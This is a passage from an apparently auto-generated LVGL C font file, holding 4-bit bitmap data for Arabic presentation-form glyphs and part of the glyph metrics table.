0x7f, 0x20, 0x18, 0xef, 0xc7, 0x2f, 0xc8, 0xef,
/* U+FEE9 "ﻩ" */
0x0, 0x10, 0x0, 0x2, 0xef, 0xd5, 0x0, 0xae,
0x5a, 0xf7, 0xd, 0x90, 0x7, 0xf1, 0xe8, 0x0,
0x3f, 0x3b, 0xe6, 0x6d, 0xe0, 0x2b, 0xfe, 0x91,
0x0,
/* U+FEEA "ﻪ" */
0x0, 0x17, 0xf2, 0x0, 0x7, 0xfe, 0xf3, 0x0,
0x7f, 0x50, 0xf6, 0x0, 0xd9, 0x0, 0xda, 0x0,
0x9f, 0xdf, 0xff, 0x95, 0x4, 0x75, 0x8, 0xfb,
/* U+FEEB "ﻫ" */
0x0, 0x20, 0x0, 0x0, 0x0, 0x9, 0xe6, 0x0,
0x0, 0x0, 0x2e, 0xfb, 0x0, 0x0, 0xa, 0xda,
0xfc, 0x0, 0x0, 0xe7, 0xf, 0xfa, 0x0, 0xd,
0xa4, 0xf7, 0xf3, 0x0, 0x9f, 0xee, 0xe, 0x71,
0x7a, 0xff, 0xa5, 0xe6, 0x2f, 0xea, 0xae, 0xfa,
0x0,
/* U+FEEC "ﻬ" */
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x6e, 0xf8,
0x0, 0x0, 0x3f, 0x98, 0xf1, 0x0, 0x9, 0xd0,
0x9e, 0x0, 0x17, 0xdd, 0xbf, 0x97, 0x32, 0xff,
0xff, 0xff, 0xf8, 0x0, 0xbb, 0x6f, 0x60, 0x0,
0x9, 0xe0, 0x7f, 0x0, 0x0, 0x3f, 0x77, 0xf0,
0x0, 0x0, 0x7f, 0xf9, 0x0, 0x0, 0x0, 0x12,
0x0, 0x0,
/* U+FEED "ﻭ" */
0x0, 0x8, 0xed, 0x40, 0x0, 0x6f, 0xac, 0xf1,
0x0, 0x9e, 0x1, 0xf6, 0x0, 0x6f, 0xa6, 0xf7,
0x0, 0x8, 0xdf, 0xf7, 0x0, 0x0, 0x4, 0xf4,
0x0, 0x0, 0x2e, 0xe0, 0x12, 0x48, 0xef, 0x30,
0xaf, 0xff, 0xa2, 0x0, 0x34, 0x20, 0x0, 0x0,
/* U+FEEE "ﻮ" */
0x0, 0x8, 0xee, 0x40, 0x0, 0x0, 0x6f, 0xac,
0xf1, 0x0, 0x0, 0xae, 0x1, 0xf6, 0x0, 0x0,
0x6f, 0xa7, 0xfb, 0x73, 0x0, 0x8, 0xef, 0xff,
0xf6, 0x0, 0x0, 0x4, 0xf3, 0x0, 0x0, 0x0,
0x2e, 0xc0, 0x0, 0x12, 0x48, 0xee, 0x20, 0x0,
0xaf, 0xff, 0xa1, 0x0, 0x0, 0x34, 0x20, 0x0,
0x0, 0x0,
/* U+FEEF "ﻯ" */
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x6d, 0xfe, 0x70, 0x0, 0x0, 0x4f, 0x94, 0x7f,
0x40, 0x0, 0x5, 0xf7, 0x0, 0x10, 0x12, 0x0,
0x9, 0xfe, 0x80, 0xc, 0xa0, 0x0, 0x2, 0x7e,
0xb0, 0xf7, 0x0, 0x0, 0x0, 0xaf, 0xd, 0xc0,
0x0, 0x2, 0x9f, 0x90, 0x4f, 0xfc, 0xcf, 0xff,
0x90, 0x0, 0x28, 0xba, 0x85, 0x10, 0x0,
/* U+FEF0 "ﻰ" */
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x2e, 0xf8, 0x0, 0xbb, 0x0, 0x0,
0xc, 0xd7, 0xf4, 0xe, 0x70, 0x0, 0x0, 0xbf,
0x49, 0xe3, 0xe9, 0x0, 0x0, 0x1, 0xdb, 0xb,
0x78, 0xf8, 0x31, 0x24, 0x9f, 0x60, 0x0, 0x8,
0xff, 0xff, 0xfd, 0x60, 0x0, 0x0, 0x0, 0x34,
0x42, 0x0, 0x0, 0x0,
/* U+FEF1 "ﻱ" */
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x6d, 0xfe, 0x70, 0x0, 0x0, 0x4f, 0x94, 0x7f,
0x40, 0x0, 0x4, 0xf8, 0x10, 0x10, 0x24, 0x0,
0x8, 0xff, 0xa1, 0xc, 0xa0, 0x0, 0x0, 0x5e,
0xc0, 0xf7, 0x0, 0x0, 0x0, 0xbf, 0xb, 0xd1,
0x0, 0x4, 0xaf, 0x70, 0x1c, 0xfd, 0xef, 0xfb,
0x40, 0x0, 0x3, 0x55, 0x30, 0x0, 0x0, 0x0,
0x1f, 0x3f, 0x0, 0x0, 0x0, 0x0, 0x20, 0x20,
0x0, 0x0,
/* U+FEF2 "ﻲ" */
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x2e, 0xf8, 0x0, 0xbb, 0x0, 0x0,
0xc, 0xd7, 0xf4, 0xe, 0x70, 0x0, 0x0, 0xbf,
0x49, 0xe3, 0xe9, 0x0, 0x0, 0x1, 0xdb, 0xb,
0x78, 0xf8, 0x31, 0x24, 0x9f, 0x60, 0x0, 0x8,
0xff, 0xff, 0xfd, 0x60, 0x0, 0x0, 0x0, 0x34,
0x42, 0x0, 0x0, 0x0, 0x0, 0x1f, 0x3f, 0x0,
0x0, 0x0, 0x0, 0x0, 0x20, 0x20, 0x0, 0x0,
0x0,
/* U+FEF3 "ﻳ" */
0x0, 0x38, 0x0, 0x6, 0xf1, 0x0, 0x7f, 0x1,
0x7e, 0xc0, 0x2f, 0xd3, 0x0, 0x0, 0x0, 0x3,
0xf4, 0xe0, 0x2, 0x2,
/* U+FEF4 "ﻴ" */
0x0, 0x38, 0x0, 0x0, 0x6f, 0x10, 0x0, 0x7f,
0x20, 0x17, 0xef, 0xc7, 0x2f, 0xc8, 0xef, 0x0,
0x0, 0x0, 0x3, 0xf4, 0xe0, 0x0, 0x20, 0x20,
/* U+FEF5 "ﻵ" */
0x1a, 0x30, 0x19, 0x0, 0x0, 0x85, 0xad, 0xb4,
0x0, 0x0, 0x0, 0x2, 0x0, 0x0, 0xf8, 0x0,
0x1f, 0x50, 0x0, 0xf8, 0x0, 0x9, 0xc0, 0x0,
0xf8, 0x0, 0x2, 0xf3, 0x0, 0xf8, 0x0, 0x0,
0xba, 0x0, 0xf8, 0x0, 0x0, 0x4f, 0x20, 0xf7,
0x0, 0x0, 0xc, 0x90, 0xf6, 0x0, 0x0, 0x5,
0xf4, 0xf3, 0x0, 0x0, 0x0, 0xef, 0xe0, 0x0,
0x0, 0x0, 0xbf, 0x50, 0x0, 0x8, 0x7c, 0xf7,
0x0, 0x0, 0xb, 0xfc, 0x40, 0x0,
/* U+FEF6 "ﻶ" */
0x1a, 0x30, 0x19, 0x0, 0x0, 0x0, 0x85, 0xad,
0xb4, 0x0, 0x0, 0x0, 0x0, 0x2, 0x0, 0x0,
0xf8, 0x0, 0x0, 0x1f, 0x50, 0x0, 0xf8, 0x0,
0x0, 0x9, 0xc0, 0x0, 0xf8, 0x0, 0x0, 0x2,
0xf3, 0x0, 0xf8, 0x0, 0x0, 0x0, 0xba, 0x0,
0xf8, 0x0, 0x0, 0x0, 0x4f, 0x20, 0xf8, 0x0,
0x0, 0x0, 0xc, 0x90, 0xf8, 0x0, 0x0, 0x0,
0x5, 0xf4, 0xf8, 0x0, 0x0, 0x0, 0x0, 0xef,
0xf9, 0x0, 0x0, 0x0, 0x0, 0xbf, 0xcd, 0x0,
0x0, 0x8, 0x7c, 0xf6, 0x3f, 0xa4, 0x0, 0xb,
0xfc, 0x40, 0x7, 0xfb,
/* U+FEF7 "ﻷ" */
0x9, 0xc3, 0x0, 0x0, 0x2, 0xa0, 0x0, 0x0,
0x0, 0x1d, 0x52, 0x0, 0x0, 0x2, 0xed, 0x50,
0x0, 0x0, 0x2, 0x0, 0x0, 0xf, 0x80, 0x2e,
0x30, 0x0, 0xf8, 0x0, 0xbb, 0x0, 0xf, 0x80,
0x3, 0xf2, 0x0, 0xf8, 0x0, 0xc, 0x90, 0xf,
0x80, 0x0, 0x5f, 0x10, 0xf7, 0x0, 0x0, 0xd8,
0xf, 0x60, 0x0, 0x6, 0xe4, 0xf3, 0x0, 0x0,
0xe, 0xee, 0x0, 0x0, 0x0, 0xbf, 0x50, 0x0,
0x87, 0xcf, 0x70, 0x0, 0xb, 0xfc, 0x40, 0x0,
/* U+FEF8 "ﻸ" */
0x9, 0xc3, 0x0, 0x0, 0x0, 0x2, 0xa0, 0x0,
0x0, 0x0, 0x0, 0x1d, 0x52, 0x0, 0x0, 0x0,
0x2, 0xed, 0x50, 0x0, 0x0, 0x0, 0x2, 0x0,
0x0, 0xf, 0x80, 0x0, 0x2e, 0x30, 0x0, 0xf8,
0x0, 0x0, 0xbb, 0x0, 0xf, 0x80, 0x0, 0x3,
0xf2, 0x0, 0xf8, 0x0, 0x0, 0xc, 0x90, 0xf,
0x80, 0x0, 0x0, 0x5f, 0x10, 0xf8, 0x0, 0x0,
0x0, 0xd8, 0xf, 0x80, 0x0, 0x0, 0x6, 0xe4,
0xf8, 0x0, 0x0, 0x0, 0xe, 0xef, 0x90, 0x0,
0x0, 0x0, 0xbf, 0xdd, 0x0, 0x0, 0x87, 0xcf,
0x73, 0xfa, 0x40, 0xb, 0xfc, 0x40, 0x7, 0xfb,
/* U+FEF9 "ﻹ" */
0x0, 0x0, 0x0, 0xf8, 0x2e, 0x30, 0x0, 0xf8,
0xb, 0xb0, 0x0, 0xf8, 0x3, 0xf2, 0x0, 0xf8,
0x0, 0xc9, 0x0, 0xf8, 0x0, 0x5f, 0x10, 0xf7,
0x0, 0xd, 0x80, 0xf6, 0x0, 0x6, 0xe4, 0xf3,
0x0, 0x0, 0xee, 0xe0, 0x0, 0x0, 0xbf, 0x50,
0x8, 0x7c, 0xf7, 0x0, 0xb, 0xfc, 0x40, 0x0,
0x5c, 0x70, 0x0, 0x0, 0xb0, 0x0, 0x0, 0x0,
0x9d, 0xa0, 0x0, 0x0, 0x54, 0x0, 0x0, 0x0,
/* U+FEFA "ﻺ" */
0x0, 0x0, 0x0, 0xf8, 0x0, 0x2e, 0x30, 0x0,
0xf8, 0x0, 0xb, 0xb0, 0x0, 0xf8, 0x0, 0x3,
0xf2, 0x0, 0xf8, 0x0, 0x0, 0xc9, 0x0, 0xf8,
0x0, 0x0, 0x5f, 0x10, 0xf8, 0x0, 0x0, 0xd,
0x80, 0xf8, 0x0, 0x0, 0x6, 0xe4, 0xf8, 0x0,
0x0, 0x0, 0xee, 0xf9, 0x0, 0x0, 0x0, 0xbf,
0xdd, 0x0, 0x8, 0x7c, 0xf7, 0x3f, 0xa4, 0xb,
0xfc, 0x40, 0x7, 0xfb, 0x5c, 0x70, 0x0, 0x0,
0x0, 0xb0, 0x0, 0x0, 0x0, 0x0, 0x9d, 0xa0,
0x0, 0x0, 0x0, 0x54, 0x0, 0x0, 0x0, 0x0,
/* U+FEFB "ﻻ" */
0x0, 0x0, 0x0, 0xf8, 0x2e, 0x30, 0x0, 0xf8,
0xb, 0xb0, 0x0, 0xf8, 0x3, 0xf2, 0x0, 0xf8,
0x0, 0xc9, 0x0, 0xf8, 0x0, 0x5f, 0x10, 0xf7,
0x0, 0xd, 0x80, 0xf6, 0x0, 0x6, 0xe4, 0xf3,
0x0, 0x0, 0xee, 0xe0, 0x0, 0x0, 0xbf, 0x50,
0x8, 0x7c, 0xf7, 0x0, 0xb, 0xfc, 0x40, 0x0,
/* U+FEFC "ﻼ" */
0x0, 0x0, 0x0, 0xf8, 0x0, 0x2e, 0x30, 0x0,
0xf8, 0x0, 0xb, 0xb0, 0x0, 0xf8, 0x0, 0x3,
0xf2, 0x0, 0xf8, 0x0, 0x0, 0xc9, 0x0, 0xf8,
0x0, 0x0, 0x5f, 0x10, 0xf8, 0x0, 0x0, 0xd,
0x80, 0xf8, 0x0, 0x0, 0x6, 0xe4, 0xf8, 0x0,
0x0, 0x0, 0xee, 0xf9, 0x0, 0x0, 0x0, 0xbf,
0xdd, 0x0, 0x8, 0x7c, 0xf7, 0x3f, 0xa4, 0xb,
0xfc, 0x40, 0x7, 0xfb,
/* U+FEFF "" */
};
/*---------------------
* GLYPH DESCRIPTION
*--------------------*/
static const lv_font_fmt_txt_glyph_dsc_t glyph_dsc[] = {
{.bitmap_index = 0, .adv_w = 0, .box_w = 0, .box_h = 0, .ofs_x = 0, .ofs_y = 0} /* id = 0 reserved */,
{.bitmap_index = 0, .adv_w = 81, .box_w = 0, .box_h = 0, .ofs_x = 0, .ofs_y = 0},
{.bitmap_index = 0, .adv_w = 103, .box_w = 2, .box_h = 12, .ofs_x = 2, .ofs_y = 0},
{.bitmap_index = 12, .adv_w = 118, .box_w = 5, .box_h = 5, .ofs_x = 1, .ofs_y = 7},
{.bitmap_index = 25, .adv_w = 215, .box_w = 12, .box_h = 12, .ofs_x = 1, .ofs_y = 0},
{.bitmap_index = 97, .adv_w = 163, .box_w = 8, .box_h = 15, .ofs_x = 1, .ofs_y = -3},
{.bitmap_index = 157, .adv_w = 243, .box_w = 15, .box_h = 12, .ofs_x = 0, .ofs_y = 0},
{.bitmap_index = 247, .adv_w = 200, .box_w = 11, .box_h = 12, .ofs_x = 1, .ofs_y = 0},
{.bitmap_index = 313, .adv_w = 70, .box_w = 2, .box_h = 5, .ofs_x = 1, .ofs_y = 7},
{.bitmap_index = 318, .adv_w = 100, .box_w = 4, .box_h = 15, .ofs_x = 1, .ofs_y = -3},
{.bitmap_index = 348, .adv_w = 100, .box_w = 4, .box_h = 15, .ofs_x = 1, .ofs_y = -3},
{.bitmap_index = 378, .adv_w = 128, .box_w = 8, .box_h = 8, .ofs_x = 0, .ofs_y = 4},
{.bitmap_index = 410, .adv_w = 215, .box_w = 11, .box_h = 11, .ofs_x = 1, .ofs_y = 0},
{.bitmap_index = 471, .adv_w = 81, .box_w = 3, .box_h = 4, .ofs_x = 1, .ofs_y = -2},
{.bitmap_index = 477, .adv_w = 92, .box_w = 5, .box_h = 3, .ofs_x = 0, .ofs_y = 3},
{.bitmap_index = 485, .adv_w = 81, .box_w = 3, .box_h = 2, .ofs_x = 1, .ofs_y = 0},
{.bitmap_index = 488, .adv_w = 86, .box_w = 6, .box_h = 13, .ofs_x = 0, .ofs_y = -1},
{.bitmap_index = 527, .adv_w = 163, .box_w = 9, .box_h = 12, .ofs_x = 1, .ofs_y = 0},
{.bitmap_index = 581, .adv_w = 163, .box_w = 8, .box_h = 12, .ofs_x = 1, .ofs_y = 0},
{.bitmap_index = 629, .adv_w = 163, .box_w = 8, .box_h = 12, .ofs_x = 1, .ofs_y = 0},
{.bitmap_index = 677, .adv_w = 163, .box_w = 8, .box_h = 12, .ofs_x = 1, .ofs_y = 0},
{.bitmap_index = 725, .adv_w = 163, .box_w = 10, .box_h = 12, .ofs_x = 0, .ofs_y = 0},
{.bitmap_index = 785, .adv_w = 163, .box_w = 8, .box_h = 12, .ofs_x = 1, .ofs_y = 0},
{.bitmap_index = 833, .adv_w = 163, .box_w = 9, .box_h = 12, .ofs_x = 1, .ofs_y = 0},
{.bitmap_index = 887, .adv_w = 163, .box_w = 8, .box_h = 12, .ofs_x = 1, .ofs_y = 0},
{.bitmap_index = 935, .adv_w = 163, .box_w = 9, .box_h = 12, .ofs_x = 1, .ofs_y = 0},
{.bitmap_index = 989, .adv_w = 163, .box_w = 9, .box_h = 12, .ofs_x = 1, .ofs_y = 0},
{.bitmap_index = 1043, .adv_w = 86, .box_w = 3, .box_h = 8, .ofs_x = 1, .ofs_y = 0},
{.bitmap_index = 1055, .adv_w = 86, .box_w = 3, .box_h = 10, .ofs_x = 1, .ofs_y = -2},
{.bitmap_index = 1070, .adv_w = 215, .box_w = 11, .box_h = 10, .ofs_x = 1, .ofs_y = 0},
{.bitmap_index = 1125, .adv_w = 215, .box_w = 11, .box_h = 6, .ofs_x = 1, .ofs_y = 2},
{.bitmap_index = 1158, .adv_w = 215, .box_w = 11, .box_h = 10, .ofs_x = 1, .ofs_y = 0},
{.bitmap_index = 1213, .adv_w = 136, .box_w = 7, .box_h = 12, .ofs_x = 1, .ofs_y = 0},
{.bitmap_index = 1255, .adv_w = 256, .box_w = 14, .box_h = 15, .ofs_x = 1, .ofs_y = -4},
{.bitmap_index = 1360, .adv_w = 175, .box_w = 11, .box_h = 12, .ofs_x = 0, .ofs_y = 0},
{.bitmap_index = 1426, .adv_w = 176, .box_w = 9, .box_h = 12, .ofs_x = 1, .ofs_y = 0},
{.bitmap_index = 1480, .adv_w = 179, .box_w = 11, .box_h = 12, .ofs_x = 0, .ofs_y = 0},
{.bitmap_index = 1546, .adv_w = 197, .box_w = 11, .box_h = 12, .ofs_x = 1, .ofs_y = 0},
{.bitmap_index = 1612, .adv_w = 162, .box_w = 9, .box_h = 12, .ofs_x = 1, .ofs_y = 0},
{.bitmap_index = 1666, .adv_w = 147, .box_w = 8, .box_h = 12, .ofs_x = 1, .ofs_y = 0},
{.bitmap_index = 1714, .adv_w = 198, .box_w = 12, .box_h = 12, .ofs_x = 0, .ofs_y = 0},
{.bitmap_index = 1786, .adv_w = 193, .box_w = 10, .box_h = 12, .ofs_x = 1, .ofs_y = 0},
{.bitmap_index = 1846, .adv_w = 76, .box_w = 3, .box_h = 12, .ofs_x = 1, .ofs_y = 0},
{.bitmap_index = 1864, .adv_w = 76, .box_w = 5, .box_h = 15, .ofs_x = -1, .ofs_y = -3},
{.bitmap_index = 1902, .adv_w = 168, .box_w = 10, .box_h = 12, .ofs_x = 1, .ofs_y = 0},
{.bitmap_index = 1962, .adv_w = 143, .box_w = 8, .box_h = 12, .ofs_x = 1, .ofs_y = 0},
{.bitmap_index = 2010, .adv_w = 221, .box_w = 12, .box_h = 12, .ofs_x = 1, .ofs_y = 0},
{.bitmap_index = 2082, .adv_w = 192, .box_w = 10, .box_h = 12, .ofs_x = 1, .ofs_y = 0},
{.bitmap_index = 2142, .adv_w = 202, .box_w = 12, .box_h = 12, .ofs_x = 0, .ofs_y = 0},
{.bitmap_index = 2214, .adv_w = 154, .box_w = 9, .box_h = 12, .ofs_x = 1, .ofs_y = 0},
{.bitmap_index = 2268, .adv_w = 202, .box_w = 12, .box_h = 14, .ofs_x = 0, .ofs_y = -2},
{.bitmap_index = 2352, .adv_w = 178, .box_w = 10, .box_h = 12, .ofs_x = 1, .ofs_y = 0},
{.bitmap_index = 2412, .adv_w = 163, .box_w = 9, .box_h = 12, .ofs_x = 1, .ofs_y = 0},
{.bitmap_index = 2466, .adv_w = 156, .box_w = 11, .box_h = 12, .ofs_x = -1, .ofs_y = 0},
{.bitmap_index = 2532, .adv_w = 187, .box_w = 10, .box_h = 12, .ofs_x = 1, .ofs_y = 0},
{.bitmap_index = 2592, .adv_w = 175, .box_w = 11, .box_h = 12, .ofs_x = 0, .ofs_y = 0},
{.bitmap_index = 2658, .adv_w = 253, .box_w = 16, .box_h = 12, .ofs_x = 0, .ofs_y = 0},
{.bitmap_index = 2754, .adv_w = 175, .box_w = 11, .box_h = 12, .ofs_x = 0, .ofs_y = 0},
{.bitmap_index = 2820, .adv_w = 156, .box_w = 11, .box_h = 12, .ofs_x = -1, .ofs_y = 0},
{.bitmap_index = 2886, .adv_w = 175, .box_w = 11, .box_h = 12, .ofs_x = 0, .ofs_y = 0},
{.bitmap_index = 2952, .adv_w = 100, .box_w = 4, .box_h = 15, .ofs_x = 1, .ofs_y = -3},
{.bitmap_index = 2982, .adv_w = 86, .box_w = 6, .box_h = 13, .ofs_x = 0, .ofs_y = -1},
{.bitmap_index = 3021, .adv_w = 100, .box_w = 4, .box_h = 15, .ofs_x = 1, .ofs_y = -3},
{.bitmap_index = 3051, .adv_w = 215, .box_w = 11, .box_h = 5, .ofs_x = 1, .ofs_y = 7},
{.bitmap_index = 3079, .adv_w = 128, .box_w = 10, .box_h = 2, .ofs_x = -1, .ofs_y = -5},
{.bitmap_index = 3089, .adv_w = 128, .box_w = 5, .box_h = 3, .ofs_x = 1, .ofs_y = 10},
{.bitmap_index = 3097, .adv_w = 157, .box_w = 9, .box_h = 9, .ofs_x = 0, .ofs_y = 0},
{.bitmap_index = 3138, .adv_w = 163, .box_w = 9, .box_h = 12, .ofs_x = 1, .ofs_y = 0},
{.bitmap_index = 3192, .adv_w = 141, .box_w = 8, .box_h = 9, .ofs_x = 0, .ofs_y = 0},
{.bitmap_index = 3228, .adv_w = 163, .box_w = 9, .box_h = 12, .ofs_x = 0, .ofs_y = 0},
{.bitmap_index = 3282, .adv_w = 158, .box_w = 9, .box_h = 9, .ofs_x = 0, .ofs_y = 0},
{.bitmap_index = 3323, .adv_w = 90, .box_w = 6, .box_h = 12, .ofs_x = 0, .ofs_y = 0},
{.bitmap_index = 3359, .adv_w = 163, .box_w = 9, .box_h = 12, .ofs_x = 0, .ofs_y = -3},
{.bitmap_index = 3413, .adv_w = 162, .box_w = 8, .box_h = 12, .ofs_x = 1, .ofs_y = 0},
{.bitmap_index = 3461, .adv_w = 71, .box_w = 2, .box_h = 12, .ofs_x = 1, .ofs_y = 0},
{.bitmap_index = 3473, .adv_w = 71, .box_w = 4, .box_h = 15, .ofs_x = -1, .ofs_y = -3},
{.bitmap_index = 3503, .adv_w = 148, .box_w = 9, .box_h = 12, .ofs_x = 1, .ofs_y = 0},
{.bitmap_index = 3557, .adv_w = 71, .box_w = 2, .box_h = 12, .ofs_x = 1, .ofs_y = 0},
{.bitmap_index = 3569, .adv_w = 249, .box_w = 14, .box_h = 9, .ofs_x = 1, .ofs_y = 0},
{.bitmap_index = 3632, .adv_w = 162, .box_w = 8, .box_h = 9, .ofs_x = 1, .ofs_y = 0},
{.bitmap_index = 3668, .adv_w = 157, .box_w = 9, .box_h = 9, .ofs_x = 0, .ofs_y = 0},
{.bitmap_index = 3709, .adv_w = 163, .box_w = 9, .box_h = 12, .ofs_x = 1, .ofs_y = -3},
{.bitmap_index = 3763, .adv_w = 163, .box_w = 9, .box_h = 12, .ofs_x = 0, .ofs_y = -3},
{.bitmap_index = 3817, .adv_w = 105, .box_w = 6, .box_h = 10, .ofs_x = 1, .ofs_y = 0},
{.bitmap_index = 3847, .adv_w = 133, .box_w = 8, .box_h = 9, .ofs_x = 0, .ofs_y = 0},
{.bitmap_index = 3883, .adv_w = 100, .box_w = 6, .box_h = 12, .ofs_x = 0, .ofs_y = 0},
{.bitmap_index = 3919, .adv_w = 162, .box_w = 8, .box_h = 9, .ofs_x = 1, .ofs_y = 0},
{.bitmap_index = 3955, .adv_w = 152, .box_w = 9, .box_h = 9, .ofs_x = 0, .ofs_y = 0},
{.bitmap_index = 3996, .adv_w = 209, .box_w = 13, .box_h = 9, .ofs_x = 0, .ofs_y = 0},
{.bitmap_index = 4055, .adv_w = 152, .box_w = 9, .box_h = 9, .ofs_x = 0, .ofs_y = 0},
{.bitmap_index = 4096, .adv_w = 152, .box_w = 9, .box_h = 12, .ofs_x = 0, .ofs_y = -3},
{.bitmap_index = 4150, .adv_w = 134, .box_w = 8, .box_h = 9, .ofs_x = 0, .ofs_y = 0},
{.bitmap_index = 4186, .adv_w = 163, .box_w = 7, .box_h = 16, .ofs_x = 2, .ofs_y = -4},
{.bitmap_index = 4242, .adv_w = 86, .box_w = 2, .box_h = 16, .ofs_x = 2, .ofs_y = -4},
{.bitmap_index = 4258, .adv_w = 163, .box_w = 7, .box_h = 16, .ofs_x = 2, .ofs_y = -4},
{.bitmap_index = 4314, .adv_w = 215, .box_w = 11, .box_h = 4, .ofs_x = 1, .ofs_y = 3},
{.bitmap_index = 4336, .adv_w = 171, .box_w = 9, .box_h = 9, .ofs_x = 1, .ofs_y = 0},
{.bitmap_index = 4377, .adv_w = 148, .box_w = 9, .box_h = 9, .ofs_x = 0, .ofs_y = 0},
{.bitmap_index = 4418, .adv_w = 106, .box_w = 7, .box_h = 9, .ofs_x = 0, .ofs_y = 0},
{.bitmap_index = 4450, .adv_w = 140, .box_w = 9, .box_h = 9, .ofs_x = 0, .ofs_y = 0},
{.bitmap_index = 4491, .adv_w = 167, .box_w = 8, .box_h = 9, .ofs_x = 1, .ofs_y = 0},
{.bitmap_index = 4527, .adv_w = 70, .box_w = 2, .box_h = 9, .ofs_x = 1, .ofs_y = 0},
{.bitmap_index = 4536, .adv_w = 89, .box_w = 5, .box_h = 9, .ofs_x = 0, .ofs_y = 0},
{.bitmap_index = 4559, .adv_w = 167, .box_w = 8, .box_h = 9, .ofs_x = 1, .ofs_y = 0},
{.bitmap_index = 4595, .adv_w = 166, .box_w = 9, .box_h = 9, .ofs_x = 1, .ofs_y = 0},
{.bitmap_index = 4636, .adv_w = 57, .box_w = 2, .box_h = 6, .ofs_x = 1, .ofs_y = 3},
{.bitmap_index = 4642, .adv_w = 138, .box_w = 8, .box_h = 12, .ofs_x = 0, .ofs_y = -3},
{.bitmap_index = 4690, .adv_w = 135, .box_w = 8, .box_h = 9, .ofs_x = 0, .ofs_y = 0},
{.bitmap_index = 4726, .adv_w = 146, .box_w = 8, .box_h = 12, .ofs_x = 0, .ofs_y = 0},
{.bitmap_index = 4774, .adv_w = 170, .box_w = 9, .box_h = 9, .ofs_x = 1, .ofs_y = 0},
{.bitmap_index = 4815, .adv_w = 174, .box_w = 10, .box_h = 9, .ofs_x = 0, .ofs_y = 0},
{.bitmap_index = 4860, .adv_w = 70, .box_w = 2, .box_h = 12, .ofs_x = 1, .ofs_y = -3},
{.bitmap_index = 4872, .adv_w = 103, .box_w = 5, .box_h = 9, .ofs_x = 0, .ofs_y = 0},
{.bitmap_index = 4895, .adv_w = 166, .box_w = 9, .box_h = 9, .ofs_x = 1, .ofs_y = 0},
{.bitmap_index = 4936, .adv_w = 160, .box_w = 9, .box_h = 11, .ofs_x = 0, .ofs_y = -2},
{.bitmap_index = 4986, .adv_w = 164, .box_w = 8, .box_h = 12, .ofs_x = 1, .ofs_y = -3},
{.bitmap_index = 5034, .adv_w = 160, .box_w = 9, .box_h = 9, .ofs_x = 1, .ofs_y = 0},
{.bitmap_index = 5075, .adv_w = 138, .box_w = 8, .box_h = 12, .ofs_x = 0, .ofs_y = -3},
{.bitmap_index = 5123, .adv_w = 152, .box_w = 9, .box_h = 9, .ofs_x = 0, .ofs_y = 0},
{.bitmap_index = 5164, .adv_w = 182, .box_w = 10, .box_h = 13, .ofs_x = 1, .ofs_y = -4},
{.bitmap_index = 5229, .adv_w = 145, .box_w = 8, .box_h = 9, .ofs_x = 0, .ofs_y = 0},
{.bitmap_index = 5265, .adv_w = 181, .box_w = 11, .box_h = 9, .ofs_x = 0, .ofs_y = 0},
{.bitmap_index = 5315, .adv_w = 168, .box_w = 10, .box_h = 9, .ofs_x = 0, .ofs_y = 0},
{.bitmap_index = 5360, .adv_w = 163, .box_w = 10, .box_h = 15, .ofs_x = 0, .ofs_y = 0},
{.bitmap_index = 5435, .adv_w = 163, .box_w = 10, .box_h = 15, .ofs_x = 0, .ofs_y = 0},
{.bitmap_index = 5510, .adv_w = 194, .box_w = 10, .box_h = 10, .ofs_x = 1, .ofs_y = 0},
{.bitmap_index = 5560, .adv_w = 250, .box_w = 14, .box_h = 10, .ofs_x = 1, .ofs_y = 0},
{.bitmap_index = 5630, .adv_w = 83, .box_w = 3, .box_h = 4, .ofs_x = 1, .ofs_y = 0},
{.bitmap_index = 5636, .adv_w = 0, .box_w = 6, .box_h = 5, .ofs_x = 1, .ofs_y = 10},
{.bitmap_index = 5651, .adv_w = 81, .box_w = 3, .box_h = 10, .ofs_x = 1, .ofs_y = 0},
{.bitmap_index = 5666, .adv_w = 136, .box_w = 7, .box_h = 12, .ofs_x = 1, .ofs_y = 0},
{.bitmap_index = 5708, .adv_w = 120, .box_w = 6, .box_h = 8, .ofs_x = 1, .ofs_y = 1},
{.bitmap_index = 5732, .adv_w = 71, .box_w = 7, .box_h = 15, .ofs_x = -1, .ofs_y = 0},
{.bitmap_index = 5785, .adv_w = 71, .box_w = 4, .box_h = 16, .ofs_x = 0, .ofs_y = 0},
{.bitmap_index = 5817, .adv_w = 124, .box_w = 8, .box_h = 15, .ofs_x = -1, .ofs_y = -5},
{.bitmap_index = 5877, .adv_w = 71, .box_w = 4, .box_h = 16, .ofs_x = 0, .ofs_y = -4},
{.bitmap_index = 5909, .adv_w = 200, .box_w = 11, .box_h = 12, .ofs_x = 1, .ofs_y = -2},
{.bitmap_index = 5975, .adv_w = 71, .box_w = 2, .box_h = 12, .ofs_x = 1, .ofs_y = 0},
{.bitmap_index = 5987, .adv_w = 241, .box_w = 13, .box_h = 9, .ofs_x = 1, .ofs_y = -3},
{.bitmap_index = 6046, .adv_w = 134, .box_w = 7, .box_h = 9, .ofs_x = 1, .ofs_y = 0},
{.bitmap_index = 6078, .adv_w = 241, .box_w = 13, .box_h = 6, .ofs_x = 1, .ofs_y = 0},
{.bitmap_index = 6117, .adv_w = 241, .box_w = 13, .box_h = 8, .ofs_x = 1, .ofs_y = 0},
{.bitmap_index = 6169, .adv_w = 165, .box_w = 10, .box_h = 13, .ofs_x = 1, .ofs_y = -5},
{.bitmap_index = 6234, .adv_w = 165, .box_w = 10, .box_h = 12, .ofs_x = 1, .ofs_y = -5},
{.bitmap_index = 6294, .adv_w = 165, .box_w = 10, .box_h = 14, .ofs_x = 1, .ofs_y = -5},
{.bitmap_index = 6364, .adv_w = 114, .box_w = 7, .box_h = 7, .ofs_x = 0, .ofs_y = 0},
{.bitmap_index = 6389, .adv_w = 114, .box_w = 7, .box_h = 10, .ofs_x = 0, .ofs_y = 0},
{.bitmap_index = 6424, .adv_w = 124, .box_w = 8, .box_h = 9, .ofs_x = -1, .ofs_y = -5},
{.bitmap_index = 6460, .adv_w = 124, .box_w = 8, .box_h = 12, .ofs_x = -1, .ofs_y = -5},
